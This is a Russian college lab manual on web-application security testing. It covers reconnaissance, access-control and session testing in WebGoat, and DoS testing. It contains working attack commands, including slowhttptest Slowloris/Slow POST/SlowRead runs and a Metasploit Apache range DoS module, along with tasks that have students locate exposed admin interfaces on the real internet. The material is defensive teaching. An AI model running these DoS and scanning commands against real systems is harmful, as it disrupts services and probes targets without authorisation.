

Министерство науки и высшего образования Российской Федерации
Федеральное государственное бюджетное образовательное учреждение
высшего образования
«Магнитогорский государственный технический университет
им. Г.И. Носова»
Многопрофильный колледж



**МЕТОДИЧЕСКИЕ УКАЗАНИЯ ПО ВЫПОЛНЕНИЮ
ПРАКТИЧЕСКИХ И ЛАБОРАТОРНЫХ РАБОТ**

**ПМ.09 ПРОЕКТИРОВАНИЕ, РАЗРАБОТКА И ОПТИМИЗАЦИЯ ВЕБ-ПРИЛОЖЕНИЙ
программы подготовки специалистов среднего звена**

МДК 09.03 Обеспечение безопасности веб-приложений

для студентов специальности

09.02.07 Информационные системы и программирование

КВАЛИФИКАЦИЯ – РАЗРАБОТЧИК ВЕБ И МУЛЬТИМЕДИЙНЫХ ПРИЛОЖЕНИЙ

Магнитогорск, 2020

ОДОБРЕНО

Предметно-цикловой комиссией
«Информатики и вычислительной
техники»

Председатель И.Г.Зорина
Протокол № 7 от 17.02.2020

Методической комиссией МпК

Протокол №3 от «26» февраля 2020г

Составитель:

преподаватель ФГБОУ ВО «МГТУ им. Г.И. Носова» МпК Р.А. Закирова

Методические указания по выполнению практических и лабораторных работ разработаны на основе рабочей программы учебной дисциплины ПМ.09. Проектирование, разработка и оптимизация веб-приложений.

Содержание практических и лабораторных работ ориентировано на подготовку обучающихся к освоению профессионального модуля программы подготовки специалистов среднего звена по специальности 09.02.07 Информационные системы и программирование и овладению общими компетенциями.

Методические указания по выполнению практических и лабораторных работ разработаны на основе рабочей программы ПМ.09. Проектирование, разработка и оптимизация веб-приложений (очно) МДК 09.03 Обеспечение безопасности веб-приложений.

Содержание практических и лабораторных работ ориентировано на формирование общих и профессиональных компетенций по программе подготовки специалистов среднего звена по специальности 09.02.07 Информационные системы и программирование.

СОДЕРЖАНИЕ

1 ПОЯСНИТЕЛЬНАЯ ЗАПИСКА	4
2 ПЕРЕЧЕНЬ ПРАКТИЧЕСКИХ ЗАНЯТИЙ	6
3 МЕТОДИЧЕСКИЕ УКАЗАНИЯ	7
Практическое занятие № 1 «Сбор информации о web-приложении»	7
Лабораторное занятие № 1 «Тестирование защищенности механизма управления доступом и сессиями»	12
Лабораторное занятие № 2 «Тестирование на устойчивость к атакам отказа в обслуживании»	20
Лабораторное занятие № 3 «Поиск уязвимостей к атакам XSS»	24
Лабораторное занятие № 4 «Поиск уязвимостей к атакам SQL-injection»	29

1 ПОЯСНИТЕЛЬНАЯ ЗАПИСКА

Состав и содержание практических и лабораторных занятий направлены на реализацию Федерального государственного образовательного стандарта среднего профессионального образования.

Ведущей дидактической целью практических и лабораторных занятий является формирование профессиональных практических умений (умений выполнять определенные действия, операции, необходимые в последующем в профессиональной деятельности) или учебных практических умений (умений решать задачи по математике, физике, химии, информатике и др.), необходимых в последующей учебной деятельности.

В соответствии с рабочей программой учебной дисциплины ПМ.09. Проектирование, разработка и оптимизация веб-приложений (очно) МДК 09.03 Обеспечение безопасности веб-приложений предусмотрено проведение практических и лабораторных занятий. В рамках практического и лабораторного занятия обучающиеся могут выполнять одну или несколько практических и лабораторных работ.

В результате их выполнения, обучающийся должен:

уметь:

- У35. осуществлять аудит безопасности веб-приложений;
- У36. модифицировать веб-приложение с целью внедрения программного кода по обеспечению безопасности его работы;
- У01.2 анализировать задачу и/или проблему и выделять её составные части;
- У02.4 структурировать получаемую информацию;
- У03.2 применять современную научную профессиональную терминологию;
- У09.1 применять средства информационных технологий для решения профессиональных задач;
- У09.2 использовать современное программное обеспечение;
- У10.1 понимать общий смысл четко произнесенных высказываний на известные темы (профессиональные и бытовые);

Содержание практических и лабораторных работ ориентировано на подготовку обучающихся к освоению профессионального модуля программы подготовки специалистов среднего звена по специальности и овладению **профессиональными компетенциями:**

ПК 9.8 Осуществлять аудит безопасности веб-приложения в соответствии с регламентами по безопасности

А также формированию **общих компетенций:**

ОК 1. Выбирать способы решения задач профессиональной деятельности, применительно к различным контекстам

ОК 2. Осуществлять поиск, анализ и интерпретацию информации, необходимой для выполнения задач профессиональной деятельности.

ОК 3 Планировать и реализовывать собственное профессиональное и личностное развитие.

ОК 4 Планировать и реализовывать собственное профессиональное и личностное развитие.

ОК 5 Планировать и реализовывать собственное профессиональное и личностное развитие.

ОК 6 Проявлять гражданско-патриотическую позицию, демонстрировать осознанное поведение на основе традиционных общечеловеческих ценностей

ОК 7 Содействовать сохранению окружающей среды, ресурсосбережению, эффективно действовать в чрезвычайных ситуациях.

ОК 8 Использовать средства физической культуры для сохранения и укрепления здоровья в процессе профессиональной деятельности и поддержания необходимого уровня физической подготовленности

ОК 9 Использовать информационные технологии в профессиональной деятельности.

ОК 10 Пользоваться профессиональной документацией на государственном и иностранном языке

2 ПЕРЕЧЕНЬ ПРАКТИЧЕСКИХ ЗАНЯТИЙ

МДК 09.03 ОБЕСПЕЧЕНИЕ БЕЗОПАСНОСТИ ВЕБ-ПРИЛОЖЕНИЙ

Разделы/темы	Темы практических/лабораторных занятий	Количество часов	Требования ФГОС СПО (уметь)
Раздел 3. Обеспечение безопасности веб-приложений		71	
Тема 3.1 Технологии обеспечения безопасности веб - приложений	П.Р.№ 1 Сбор информации о web-приложении	6	У35, У36, У01.2, У01.9, У02.4, У03.2, У07.2, У09.1, У09.2, У10.1, У10.6
	Л.Р.№ 1 Тестирование защищенности механизма управления доступом и сессиями	16	
	Л.Р.№ 2 Тестирование на устойчивость к атакам отказа в обслуживании	16	
	Л.Р.№3 Поиск уязвимостей к атакам XSS	16	
	Л.Р.№4 Поиск уязвимостей к атакам SQL-injection	17	
ИТОГО		71	

3 МЕТОДИЧЕСКИЕ УКАЗАНИЯ

МДК 09.03 ОБЕСПЕЧЕНИЕ БЕЗОПАСНОСТИ ВЕБ-ПРИЛОЖЕНИЙ

Тема 3.1 Технологии обеспечения безопасности веб – приложений

Практическое занятие № 1 «Сбор информации о web-приложении»

Цель работы

Целью лабораторной работы является обучение методам и средствам сбора информации об анализируемом веб-приложении.

Выполнив работу, Вы будете:

уметь:

- У35. осуществлять аудит безопасности веб-приложений;
- У01.2 анализировать задачу и/или проблему и выделять её составные части;
- У02.4 структурировать получаемую информацию;
- У03.2 применять современную научную профессиональную терминологию;
- У09.1 применять средства информационных технологий для решения профессиональных задач;
- У09.2 использовать современное программное обеспечение;

Материальное обеспечение:

ПК, текстовый редактор Блокнот, браузер

Задание:

Выполнить сбор информации об анализируемом веб-приложении www.test.app.com.

Краткие теоретические сведения

Одним из первых этапов анализа защищенности любой компьютерной системы является сбор информации. В зависимости от используемой методологии анализа защищенности веб-приложения могут применяться различные методы и средства сбора информации. Стоит отметить, что сбор информации, как правило, не характерен для методологии инструментального анализа защищенности (сканирования), а характерен для методологии тестирования на возможность проникновения.

Методы сбора информации делятся на активные и пассивные. Активные методы требуют непосредственного взаимодействия с исследуемым приложением путем отправки ему запросов

и анализа соответствующих ответов, а пассивные методы используют информацию, отправляемую сервером веб-приложения его клиентам (например, HTTP-заголовки X-Frame-Options, Strict-Transport-Security и т.д.) без отправки запросов. При анализе веб-приложений, как правило, используются только активные методы.

Активные методы делятся на методы с подключением к приложению (например, идентификация веб-сервера с помощью сканера Httprint) и методы без подключения (например, сбор информации о приложении поисковыми роботами, сканерами Интернет, ит.д.).

В результате проведения сбора информации о веб-приложении могут быть получены:

- имена и IP-адреса сетевых узлов, на которых размещены веб-приложение и его компоненты;
- логины и пароли технологических учетных записей;
- комментарии разработчиков;
- данные о системном и прикладном ПО, применяемых средствах защиты и конфигурации веб-приложения;
- адреса электронной почты разработчиков приложения;
- исходный код серверной части веб-приложения;
- конфиденциальные файлы.

Программными средствами получения необходимой информации являются:

- поисковые системы (например, Google, Shodan, Bing);
- специализированные сканеры уязвимостей Интернет (например, <http://un1c0rn.net/>);
- инструментальные средства анализа защищенности сетей общего назначения (Nmap, Xprobe2, XSpider);
- инструментальные средства анализа защищенности сетей веб-приложений (AppScan, Acunetix, BurpSuite, ZAP, W3AF ит.д.).

Порядок выполнения работы

Будем рассматривать сбор информации на примере веб-приложения с условным именем www.test.app.com.

Шаг 1. В адресной строке браузера перейти по адресу

www.test.app.com/robots.txt. Проанализировать содержимое файла. Сделать выводы о наличии «скрытых» директорий.

Шаг 2. В адресной строке браузера перейти по адресу <http://www.test.app.com/crossdomain.xml> и, затем, по адресу <http://www.test.app.com/clientaccesspolicy.xml>. Проанализировать содержимое файлов.

Сделать выводы о корректности конфигурации политики междоменного взаимодействия RIA [3].

Шаг 3. Перейти по адресу `http://www.google.com`. Задать поисковые запросы, определяемые анализируемым приложением, например:

- `site:www.test.app.com filetype:docxconfidential`
- `site:www.test.app.com filetype:docsecret`
- `site:www.test.app.com inurl:admin`
- `site:www.test.app.com filetype:sql`
- `site:www.test.app.com intext: "Accessdenied"` Проанализировать логику запросов и

полученные данные. Построить свои запросы, используя примеры из базы запросов[4].

Шаг 4. Перейти по адресу `http://www.shodanhq.com`. Задать следующий поисковый запрос:

- `hostname:www.test.app.com`

Построить свои запросы для приложения `www.test.app.com`. Шаг 5. Данный тест выполняется только для приложений, размещенных в лабораторной сети. С помощью сетевых сканеров Nmap и Xprobe выполнить

идентификацию ОС веб-сервера:

```
# nmap -Owww.test.app.com -vv # xprobe2 www.test.app.com
```

Шаг 6. Подключиться к веб-серверу, используя утилиту Netcat:

```
# nc www.test.app.com 80
```

Отправить следующий GET запрос

```
GET / HTTP/1.1
```

```
Host: www.test.app.com
```

```
\r\n
```

По заголовкам Server и X-Powered-By определить программное обеспечение, реализующее веб-сервер и фреймворк веб-приложения.

В браузере установить расширение Wappalyzer, перейти по адресу веб-приложения и проанализировать информацию о компонентах веб-приложения полученную через Wappalyzer.

Шаг 7. С помощью сканера веб-серверов Httprint (дистрибутив Backtrack) или Httprecon (ОС Windows) выполнить идентификацию веб-сервера:

```
# cd /pentest/enumeration/web/httpprint/linux
# ./httpprint -h www.test.app.com -s signatures.txt
```

С помощью сканера Wafw00f проверить наличие у веб- приложения подсистемы WAF:

```
# cd /pentest/web/waffit
# python ./wafw00f.py http://www.test.app.com # python
./wafw00f.py https://www.test.app.com
```

Шаг 8. Выполнить тесты по идентификации поддерживаемых веб-сервером HTTP-методов. Для этого необходимо отправить с помощью BurpSuite или Netcat запрос следующего вида:

```
OPTIONS / HTTP/1.1
Host: www.test.app.com
\r\n
```

Проверить, поддерживает ли сервер обработку запросов с произвольными методами:

```
DOGS / HTTP/1.1
Host: www.test.app.com
\r\n
```

Если веб-сервер поддерживает метод TRACE, то это может привести к уязвимости к атаке Cross-SiteTracing (XST). Для проверки поддержки веб-сервером методы TRACE отправить запрос

```
TRACE / HTTP/1.1
Host: www.test.app.com
\r\n
```

Веб-сервер поддерживает метод TRACE и потенциально уязвим к атаке XST, если получен ответа вида

```
HTTP/1.1 200 OK
```

Connection: close Content-Length: 39 TRACE /
HTTP/1.1

Host: www.test.app.com

Вопросы и задания

1. Найти административные интерфейсы коммуникационного и сетевого оборудования (видеокамеры, коммутаторы ЛВС, домашние Wi-Fi маршрутизаторы, и т.д.), подключенные к сети Интернет.
2. Известно, что адрес веб-интерфейса системы VMware HorizonView HTML Access содержит строку portal/webclient/views/mainUI.html. Найти такие системы, доступные из сети Интернет.
3. Оценить количество коммутаторов Cisco Catalyst с административным веб-интерфейсом, подключенным к сети Интернет.

Форма представления результата:

Предоставить скрипт заданий

Критерии оценки:

Оценка "5" ставится: вся работа выполнена безошибочно и нет исправлений;

Оценка "4" ставится: допущены 1-2 вычислительные ошибки.

Оценка "3" ставится: допущены ошибки в ходе решения задачи при правильном выполнении всех остальных заданий или допущены 3-4 вычислительные ошибки, при этом ход анализа должен быть верным.

Оценка "2" ставится: допущены ошибки в ходе решения задачи и хотя бы одна вычислительная ошибка или при анализе и примеров допущено более 5 вычислительных ошибок.

МДК 09.03 ОБЕСПЕЧЕНИЕ БЕЗОПАСНОСТИ ВЕБ-ПРИЛОЖЕНИЙ

Тема 3.1 Технологии обеспечения безопасности веб – приложений

Лабораторное занятие № 1

«Тестирование защищенности механизма управления доступом и сессиями»

Цель работы

Целью лабораторной работы является обучение методам и средствам сбора информации об анализируемом веб-приложении.

Выполнив работу, Вы будете:

уметь:

- У35. осуществлять аудит безопасности веб-приложений;
- У01.2 анализировать задачу и/или проблему и выделять её составные части;
- У02.4 структурировать получаемую информацию;
- У03.2 применять современную научную профессиональную терминологию;
- У09.1 применять средства информационных технологий для решения профессиональных задач;
- У09.2 использовать современное программное обеспечение;

Материальное обеспечение:

ПК, текстовый редактор Блокнот, браузер

Задание:

1. Выполнить тестирование защищенности механизма управления доступом исследуемого веб-приложения.
2. Выполнить тестирование защищенности механизма управления сессиями исследуемого веб-приложения.

Краткие теоретические сведения

Одним из основных механизмов защиты современных веб-приложений является механизм управления доступом. Обычно выделяют следующие этапы управления доступом [8]:

- идентификация – установление идентификационных данных;
- аутентификация – подтвержденное установление идентификационных данных;
- авторизация – назначение прав идентификационным данным.

При входе в веб-приложение (signin, login) пользователь идентифицируется (сообщает свой идентификатор) и аутентифицируется (доказывает, что он именно тот пользователь, чей идентификатор был сообщен).

Большинство веб-приложений используют аутентификацию по паролю. В веб-приложениях с высоким уровнем защищенности (например, в Интернет-банках) также применяются протоколы двухфакторной аутентификации. Очевидным недостатком аутентификации по паролю является возможность использования паролей с плохими статистическими характеристиками. Хранение пароля или его передача по каналам связи в открытом или даже зашифрованном виде потенциально несет угрозу раскрытия пароля.

Тем не менее, современные защищенные веб-приложения в большинстве случаев используют передачу пароля в зашифрованном виде с помощью протоколов семейства SSL/TLS, а хранение пароля в хешированном виде. При этом для хранения паролей пользователей рекомендуется использовать не криптографические хэш-функции общего назначения (например, SHA или MD5), а специализированные функции PBKDF2, bcrypt, scrypt и т.п. Также для хранения паролей необходимо использовать «соль», предназначенную для затруднения проведения атак по словарям и радужным таблицам.

Авторизация в веб-приложениях может быть определена как процесс проверки того, разрешен или запрещен запрос на получения доступа пользователя к ресурсу в соответствии с заданной политикой безопасности. Как правило, в веб-приложениях реализуется ролевая (RBAC) или атрибутная (ABAC) политика логического управления доступом.

Одним из методов тестирования возможности получения привилегий другого пользователя является дифференциальный анализ. Его идея заключается в идентификации всех возможных запросов и соответствующих им URL, которые может выполнить данный пользователь. Затем все полученные запросы выполняются от имени другого пользователя веб-приложения.

Механизм авторизации рекомендуется реализовывать на уровнях представления, бизнес-логики и данных веб-приложения. Уровень представления – не отображает функционал (например, формы, фреймы, ссылки, кнопки), на который пользователь не имеет прав доступа. Уровень бизнес-логики обеспечивает выполнение проверки наличия соответствующих прав доступа до выполнения запроса в веб-приложении, т.е. никакие функции не могут быть выполнены до авторизации (например, если пользователь отправляет запрос на удаление учетной записи, то веб-приложение должно убедиться, что пользователь имеет право на удаление учетной записи и не выполнять никаких функций до того, как это будет установлено). Уровень данных обеспечивает проверку наличия прав доступа пользователя к данным, а не только к функционалу обработки данных (например, пользователь, используя URL вида

/delete?record=1, должен удалять только те записи в базе данных, на которые он имеет право доступа(DELETE).

Последовательность действий

Шаг 1. Настроить работу браузера через штатный прокси- сервер BurpSuite. В веб-браузере открыть главную страницу тестируемого веб-приложения www.test.app.com.

Шаг 2. Зарегистрироваться в веб-приложении. Получить идентификатор учетной записи и пароль доступа к веб-приложению. Проанализировать предсказуемость идентификаторов пользователей и, если это возможно, алгоритм назначения идентификаторов. Проанализировать реализованную в веб-приложении парольную политику. Оценить доступную сложность выбора паролей пользователями. Опционально выполнить атаку полного перебора паролей.

Шаг 3. Перейти по ссылке для аутентификации в приложении. При этом необходимо убедиться, что форма аутентификации доступна только по протоколу HTTPS. Убедиться, что вводимые пользователем логин и пароль отправляются в зашифрованном виде по протоколу HTTPS. Убедиться, что логин и пароль не отправляются с помощью HTTP-метода GET.

Шаг 4. Проверить, что в веб-приложении изменены стандартные пароли для встроенных учетных записей. Проверить, что новые учетные записи создаются с различными паролями.

Шаг 5. Проверить возможность идентификации пользователей веб-приложения через формы регистрации, входа и восстановления пароля.

Для этого следует ввести несуществующее имя пользователя (например, qawsedrf1234) и произвольный пароль, а затем имя существующего пользователя и произвольный, но неправильный пароль. В обоих случаях должно быть выведено одно и то же сообщение об ошибке вида «Ошибка в имени пользователя или неверный пароль». Также оба HTTP-ответа должны совпадать с точностью до изменяемых параметров и быть получены за одно и то же время. В противном случае веб-приложение имеет скрытый канал (оракул), позволяющий идентифицировать его пользователей.

Шаг 6. Проверить возможность реализации атаки подбора пароля пользователя. Ввести имя пользователя. Ввести несколько раз неправильный пароль (5 – 10 раз). После этого ввести правильный пароль для этой учетной записи. Ввести одинаковый пароль для разных учетных записей (для 5 – 10).

Проверить возможность доступа к веб-приложению. Блокирование учетных записей пользователя после нескольких неудачных попыток входа создает условие для реализации DoS-атаки и не должно использоваться в механизмах защиты от атак подбора паролей. Вместо

этого необходимо использовать возрастающие временные задержки или средства антиавтоматизации (например, CAPTCHA).

Шаг 7. Проверить, что чувствительный контент (например, страницы с введенными номерами кредитных карт, счетов, адресов) не доступен через механизм History веб-браузера, а также не кэшируется им. Войти под учетной записью пользователя, перейти на страницу с чувствительным контентом. Ввести новые данные. Выйти из приложения. Нажать кнопку «Back». Пользователь не должен иметь возможность выполнять новые запросы (при корректной реализации управления сессиями). Если при этом пользователю доступны ранее запрашиваемые страницы, то это означает, что серверная часть веб-приложения не запретила веб-браузеру сохранять данные в истории.

Запрещение кэширования определяется наличием HTTP-заголовков Pragma, Cache-Control и Expires со следующими рекомендованными значениями:

Pragma: no-cache

Cache-Control: no-cache, no-store, must-revalidate, max-age=0

Expires: -1

Шаг 8. Запустить веб-приложение WebGoat. Ввести логин: «guest», пароль: «guest».

Перейти по ссылке «Access Control Flaws → Bypass a Path Based Access Control». Изучить условия задачи. Используя FireBug (или любой аналогичный инструмент), изменить значение AccessControlMatrix.html на ../../main.jsp. Нажать кнопку «View File».

Перейти по ссылке «LAB: Role Based Access Control → Stage 1». Изучить условия задачи. Войти под пользователем Tom (пароль: Tom). Можно видеть, что от пользователя скрыта кнопка «DeleteProfile», так как он не должен иметь возможности удалять учетные записи. Нажать кнопку «ViewProfile». В BurpSuite просмотреть запрос. Используя FireBug (или любой аналогичный инструмент), изменить HTML-разметку, заменив элемент

```
<input type="submit" value="ViewProfile" name="action">
```

на элемент

```
<input type="submit" value="DeleteProfile" name="action">
```

Нажать кнопку «DeleteProfile». Просмотреть отправленный запрос в BurpSuite. Профиль пользователя будет удален.

Опционально решить задачу «LAB: RoleBasedAccessControl → Stage 2».

Перейти по ссылке «LAB: Role Based Access Control → Stage 3». Изучить условия задачи. Войти под пользователем Tom (пароль: Tom). Нажать кнопку «ViewProfile». В BurpSuite просмотреть запрос. Можно видеть, что пользователю доступны данные своего профиля. Используя FireBug (или любой аналогичный инструмент), изменить HTML-разметку, заменив элемент

```
<option value="105" selected="">Tom Cat (employee)</option>
```

на элемент

```
<option value="103" selected="">Tom Cat (employee)</option>
```

Нажать кнопку «ViewProfile». Просмотреть отправленный запрос в BurpSuite. Будут выведены данные профиля пользователя CurlyStooge.

Опционально решить задачу «LAB: RoleBasedAccessControl → Stage 4».

Перейти по ссылке «Remote admin access». Изучить условия задачи. Просмотреть подменю «AdminFunctions». Перейти по ссылке WebGoat/attack?Screen=86&menu=200&admin=true. Просмотреть подменю «AdminFunctions».

Вопросы и задания

1. Изучить рекомендации к защищенной реализации механизма хранения паролей. Исследовать механизм восстановления паролей выбранного веб-приложения.
2. Исследовать минимально допустимую длину и сложность паролей в произвольных пяти веб-приложениях из рейтинга ALEXA TOP100.
3. Исследовать наличие оракулов в механизмах аутентификации произвольных пяти веб-приложениях из рейтинга ALEXA TOP 100.

2 Задание

Сессия веб-приложения – это последовательность HTTP-запросов и соответствующих им HTTP-ответов, ассоциированных с конкретным пользователем. Протокол HTTP не имеет встроенных механизмов управления сессиями (statelessprotocol) и поэтому механизм управления сессиями реализуется логикой веб-приложения. Как минимум, сессия создается при успешной аутентификации пользователя в веб-приложении. При этом генерируется уникальный

идентификатор (токен) сессии, ассоциированный с этим пользователем. Данный идентификатор передается в каждом HTTP-запросе и является аналогом пароля пользователя, так как любой HTTP-запрос, содержащий такой идентификатор, будет воспринят веб-приложением как запрос от легитимного пользователя.

Как правило, идентификатор сессии передается в заголовках Cookie средствами веб-браузера, реже в специальных HTTP- заголовках (например, X-Auth-Token) средствами AJAX. Передача идентификатора сессии в URL является наименее защищенной и в настоящее время, как правило, не применяется.

Приведем основные требования безопасности к реализации механизма управления сессиями [8]:

- имя сессионного идентификатора не должно позволять легко идентифицировать веб-приложение (например, PHPSESSID, ASP.NET_SessionId, JSESSIONID);
- длина сессионного идентификатора должна быть не менее 128 бит;
- энтропия сессионного идентификатора должна быть не менее 64 бит;
- передача сессионного идентификатора должна осуществляться в заголовках Cookie с флагами HttpOnly, Secure и выставленным атрибутом Domain;
- после изменения состояния пользователя (вход в веб-приложение, смена пароля, смена роли, истечение таймаута не-активности и т.д.), критичного с точки зрения политики безопасности, должен создаваться новый идентификатор сессии, а старый –аннулировать;
- после изменения протокола HTTP на HTTPS должен создаваться новый идентификатор сессии, а старый –аннулировать;
- аннулирование сессионного идентификатора должно быть реализовано как на клиенте, так и на сервере;
- должны быть реализованы таймаут неактивности, абсолютный таймаут и таймаут обновления сессионного идентификатора.

Выделяют следующие основные атаки на механизмы управления сессиями:

- фиксация сессии;
- подбор идентификатора сессии;
- перехват идентификатора сессии;
- кража идентификатора сессии.

Получение идентификатора сессии пользователя приводит, как правило, к получению злоумышленником всех прав пользователя.

Последовательность действий

Шаг 1. Настроить работу браузера через штатный прокси- сервер BurpSuite. В веб-браузере открыть главную страницу тестируемого веб-приложения www.test.app.com. Просмотреть

Cookie, определить, создается ли сессия для неаутентифицированных (анонимных) пользователей.

Шаг 2. Ввести корректные логин и пароль. Определить, что используется в качестве транспорта для передачи идентификатора сессии. Если для этого используется механизм Cookie, то определить имена cookie, их атрибуты (Secure, HttpOnly, Domain, Path, Expires) и значения. Проанализировать адекватность используемых атрибутов Cookie.

Шаг 3. Проанализировать имя идентификатора сессии, его структуру и значение, определить, используется ли кодирование или шифрование данных. Используя инструмент Sequencer в BurpSuite, проанализировать вероятностные характеристики последовательности идентификаторов сессий. Сделать вывод о соответствии реализации функции генерации идентификаторов требованиям безопасности. Сделать вывод о возможности использования атаки грубой силы для генерации сессионного идентификатора пользователя.

Шаг 4. Проверить аннулируемость сессии на серверной стороне. Сохранить Cookie в веб-браузере (можно использовать расширение ExportCookies), выйти из приложения. Импортировать сохраненные ранее Cookie в браузер (можно использовать расширение ImportCookies). Перейти по любому адресу веб-приложения. Если вы попадете в предыдущую сессию, то это означает, что аннулирование сессии происходит только на клиенте. Проверить, что пользователь может завершить свою сессию в любой момент времени – каждая страница, доступная после аутентификации, содержит ссылку типа «Signout», позволяющую завершить сессию. Проверить, какие механизмы таймаутов реализованы в веб-приложении.

Шаг 5. Проверить возможность выполнения атаки типа «Фиксация сессии». Для этого проверить наличие следующего недостатка: веб-приложение не обновляет сессионный идентификатор, отправленный браузером пользователя, после успешной аутентификации последнего. Отправить запрос веб-приложению и получить сессионный идентификатор в Cookie:

```
GET / HTTP/1.1
Host: www.test.app.com
\r\n
```

Получить и проанализировать ответ

```
HTTP/1.1 200 OK
Date: Wed, 14 Aug 2008 08:45:11 GMT
Server: IBM_HTTP_Server
```

Set-Cookie: ID=d8eyYq3L0z2fgq10m4v; Path=/; secure

Аутентифицироваться, используя запрос с полученным идентификатором ID:

POST https://www.test.app.com/auth HTTP/1.1 Host: www.test.app.com

Cookie: ID=d8eyYq3L0z2fgq10m4v

\r\n user=test&password=Zz123456

Если аутентификация прошла успешно, то приложение уязвимо к атаке фиксации сессии.

Дополнительно убедиться, что идентификатор сессии передается только в Cookie и не раскрывается в лог-файлах, сообщениях об ошибках, URL и т.д.

Шаг 7. Проверить, что идентификатор сессии меняется после повторной аутентификации, смены пароля, роли и т.д.

Шаг 8. Проверить, что веб-приложение не позволяет иметь две одинаковые сессии с двух разных узлов сети.

Вопросы и задания

1. Предложить сценарий атаки, использующий недостаток аннулирования сессии только на клиентской стороне веб-приложения.
2. Используя поисковые системы (Google, Shodan), найти веб-приложения с механизмом URLRewriting.
3. Написать сценарий JavaScript, устанавливающий или считывающий идентификатор сессии пользователя.

Форма представления результата:

Предоставить скрипт заданий

Критерии оценки:

Оценка "5" ставится: вся работа выполнена безошибочно и нет исправлений;

Оценка "4" ставится: допущены 1-2 вычислительные ошибки.

Оценка "3" ставится: допущены ошибки в ходе решения задачи при правильном выполнении всех остальных заданий или допущены 3-4 вычислительные ошибки, при этом ход анализа должен быть верным.

Оценка "2" ставится: допущены ошибки в ходе решения задачи и хотя бы одна вычислительная ошибка или при анализе и примеров допущено более 5 вычислительных ошибок.

Лабораторное занятие № 2
«Тестирование на устойчивость к атакам отказа в обслуживании»

Цель работы

Целью лабораторной работы является обучение методам и средствам тестирования веб-приложений на устойчивость к атакам отказа в обслуживании(DoS-атакам).

Выполнив работу, Вы будете:

уметь:

У35. осуществлять аудит безопасности веб-приложений;

У01.2 анализировать задачу и/или проблему и выделять её составные части;

У02.4 структурировать получаемую информацию;

У03.2 применять современную научную профессиональную терминологию;

У09.1 применять средства информационных технологий для решения профессиональных задач;

У09.2 использовать современное программное обеспечение;

Материальное обеспечение:

ПК, текстовый редактор Блокнот, браузер

Задание:

Выполнить тестирование устойчивости веб-приложения www.test.app.com к DoS-атакам на уровне протокола HTTP

Краткие теоретические сведения

Целью реализации DoS-атаки является нарушение доступности веб-приложения. Это может быть достигнуто путем DoS-атаки на канал связи, программную платформу веб-сервера или на само веб-приложение.

Традиционно DoS-атаки являются сетевыми (используют недостатки сетевых технологий) и могут быть классифицированы по уровням модели ISO/OSI. Например, атаки ICMP Flood (L3) и DNS/NTP Amplification (L7) приводят к отказу канала связи, а атаки PingofDeath (L3), SYN Flood (L4), SSL RenegotiationDoS (L5/L6), HTTP Flood (L7), Slow HTTP (L7) воздействуют на платформу веб-приложения (операционная система, веб-сервер, фреймворк и т.д.).

Для достижения отказа в обслуживании с помощью атак прикладного уровня (L7) атакующему может потребоваться существенно меньшее количество ресурсов. Например, если для успешной реализации атаки SYN Flood она должна быть распределенной (DDoS) и использовать ботнет, то для реализации атак класса Slow HTTP DoS (Slowloris, Slow HTTP Post, Slow HTTPRead) обычно достаточно одного компьютера [10 –13].

Вместе с тем для веб-приложений также характерны DoS-атаки уровня приложения, возможные из-за наличия уязвимостей в его коде [9]. Например, возможность проведения атаки типа SQL injection может позволить злоумышленнику удалить базу данных с учетными записями пользователей или выполнить запрос вида `selectbenchmark(100000000, now())` для израсходования ресурсов системы. Также примерами атак уровня приложения являются атаки XML BillionLaughs (XML Bomb), XML QuadraticBlowupAttack, ZIP ofDeath (ZIP Bomb).

Последовательность действий

Шаг 1. Установить программу `slowhttptest`, доступную по URL вида <https://code.google.com/p/slowhttptest>. Изучить документацию. Запустить сетевой анализатор Wireshark.

Шаг 2. На тестовом стенде, эмулирующем работу веб-сервера `www.test.app.com`, установить и выполнить базовые настройки для веб-серверов Apache, Nginx и IIS. Запустить веб-сервер Apache.

Шаг 3. Запустить в отношении веб-сервера атаку Slowloris, просмотреть трассировку соединения, проверить доступность веб- сервера с помощью произвольного браузера:

```
# slowhttptest -H -c 3000 -r 3000 -i 50 -l 6000  
-u http://www.test.app.com
```

Провести несколько тестов с различными параметрами. Построить графики состояния веб-сервера.

Шаг 4. Запустить в отношении веб-сервера атаку Slow HTTP POST, просмотреть трассировку соединения, проверить доступность веб-сервера с помощью произвольного браузера:

```
# slowhttptest -B -c 3000 -r 3000 -i 50 -l 6000  
-u http://www.test.app.com
```

Провести несколько тестов с различными параметрами. Построить графики состояния веб-сервера.

Шаг 5. Запустить в отношении веб-сервера атаку SlowRead, выбрав файл достаточного размера, просмотреть трассировку соединения, проверить доступность веб-сервера с помощью произвольного браузера:

```
# slowhttptest -X -c 3000 -r 3000 -l 6000 -k 5 -n50  
-w 1 -y 2 -z 1 -uhttp://www.test.app.com/bigauth.js
```

Провести несколько тестов с различными параметрами. Построить графики состояния веб-сервера.

Шаг 6. Остановить сервер Apache. Запустить сервер Nginx.

Проделать предыдущие шаги в отношении сервера Nginx.

Шаг 7. Остановить сервер Nginx. Запустить сервер IIS. Проделать предыдущие шаги в отношении сервера IIS.

Шаг 8. В отношении сервера Apache выполнить атаку ApacheRangeHeader. Проанализировать результаты. Выполнить команду

```
# slowhttptest -R -u http://www.test.app.com -t GET  
-c 1000 -a 10 -b 3000 -r 500
```

Выполнить атаку ApacheRangeHeader с использованием MetasploitFramework:

```
# msfconsole  
> useauxiliary/dos/http/apache_range_dos  
> showoptions  
> set RHOSTSwww.test.app.com  
> set RPORT80  
> set RLIMIT100  
> set THREADS3  
> run
```

Вопросы и задания

1. Как можно по косвенным признакам определить уязвимость веб-сервера к атакам типа Slow HTTPDoS?
2. Реализовать механизмы защиты для веб-сервера Apache от атак Slow HTTPDoS.
3. Реализовать и протестировать веб-приложение, уязвимое к атаке XMLBomb.

Форма представления результата:

Предоставить скрипт заданий

Критерии оценки:

Оценка "5" ставится: вся работа выполнена безошибочно и нет исправлений;

Оценка "4" ставится: допущены 1-2 вычислительные ошибки.

Оценка "3" ставится: допущены ошибки в ходе решения задачи при правильном выполнении всех остальных заданий или допущены 3-4 вычислительные ошибки, при этом ход анализа должен быть верным.

Оценка "2" ставится: допущены ошибки в ходе решения задачи и хотя бы одна вычислительная ошибка или при анализе и примеров допущено более 5 вычислительных ошибок.

Лабораторное занятие № 3
«Поиск уязвимостей к атакам XSS»

Цель работы

Целью лабораторной работы является обучение методам и средствам идентификации и эксплуатации уязвимостей веб- приложений к атакам XSS

Выполнив работу, Вы будете:

уметь:

- У35. осуществлять аудит безопасности веб-приложений;
